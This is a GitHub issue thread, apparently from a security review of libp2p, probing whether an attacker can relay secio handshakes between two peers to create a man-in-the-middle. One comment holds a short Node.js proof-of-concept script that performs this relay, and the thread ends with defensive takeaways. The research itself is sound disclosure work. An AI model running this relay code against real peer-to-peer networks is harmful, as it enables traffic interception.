attacker initiated MITM? #3
Comments
|
UPDATE: I'm fairly sure that secio is vulnerable to this. it's a very symmetric protocol. Each peer sends an identical shaped message Each peer, whether they initiated the connection or received it does the same thing. Whether this connection stays active and becomes peers, depends on the next layer of the protocol... to be confirmed, but I'm gonna guess it does. Based on my current understanding I think both peers would send IHAVE messages. More work to do to confirm here. |
|
When two libp2p peers connect, they start by negotiating protocols using multistream this is in plaintext, so mallory can just connect to peers and request secio from both sides. in multistream you can also ask for a list of the protocols supported, so an attacker can easily scan the network and identify peers that support secio. If A and B support |
|
libp2p also uses Noise protocol. Noise protocol is actually a "protocol framework" and supports 12 basic protocols, which all have different security properties. ipfs uses XX. they describe it like this (which I find quite confusing) what do es and se mean?
could we still make this work with Mallory? unlike neither alice or bob have any idea who they are talking to yet can Mallory then create a valid client response packet for both sides? this fails because M doesn't know a.private or b.private so they can't generate Ab or Ba. I also considered M opening a separate connection, and then sending a to B, but Bob will use a new ephemeral connection on this side. Other handshake patterns within the Noise protocol family would be vulnerable such as NN and KK, but luckily libp2p doesn't use these. |
|
Note that secio is actively in the deprecation path, to be replaced by noise/tls. |
In practice this won't work as both peers will end up in "server" role, and unable to complete the Also of note, the forthcoming v2.0 of multistream, which is backwards incompatible, will jump directly to the crypto handshake; see libp2p/specs#227 for a wip spec. |
|
@vyzo secio is so symmetric that the handshake still works with two servers. attack code: var crypto = require('crypto')
var hexpp = require('hexpp')
var net = require('net')
var Alice = net.connect(+process.argv[2])
var Bob = net.connect(+process.argv[3])
function attack (a, b, name) {
var C = 0
//send fake multistream negioation, asking for secio
a.write('\x13/multistream/1.0.0\n')
a.write('\x0d/secio/1.0.0\n')
a.on('data', function (data) {
console.error('Packet:',++C, name)
if(C == 1) {
console.error(hexpp(data.slice(1+0x13+1+0xd)))
//the packet will include a secio header.
//cut that off, and pass the rest to the other stream.
b.write(data.slice(1+0x13+1+0xd))
//then pipe the this connection to the other one.
a.pipe(b)
}
else
console.error(hexpp(data))
})
}
attack(Alice, Bob, 'Alice')
attack(Bob, Alice, 'Bob')connect to two peers. output looks like: and then the connection stays open, but they don't send anything. |
|
if I modify the attack to flip a random bit in packet 2 3 or 4 then the connection drops immediately. this would certainly cause an authentication failure. |
|
however! nothing new appears in the |
|
note: takeaway: defence against this depends on two things: a) don't use crypto protocols that are too symmetrical. b) don't use application protocols where the server acts first. ipfs does the second already, but it should probably be explicitly written in the spec. |
|
I think things might be getting stuck in |
This one is a long shot, but would it be possible to have an attack initiated MITM?
The planned remediated (signed peer records) for #2 depends on the idea that when Alice tries to connect to Bob, she connects only to the correct address given in a peer record signed by Bob. If Alice is running out of date, or modified, or incorrect software, and this causes her to connect via non-signed records then the fake colocation attack can still be used againts both Bob and Alice.
This means that Bob's security depends on Alice doing the right thing. Okay, maybe if Alice is penalized for running wrong software, that's okay, at least no one else will think that Bob is colocated.
But here is the idea: what if M could connect to A and B simultaniously, but somehow manipulate the handshake, so that A and B both thought they had received an incoming connection.
Using this issue to collect information on weather this is feasible.
The text was updated successfully, but these errors were encountered: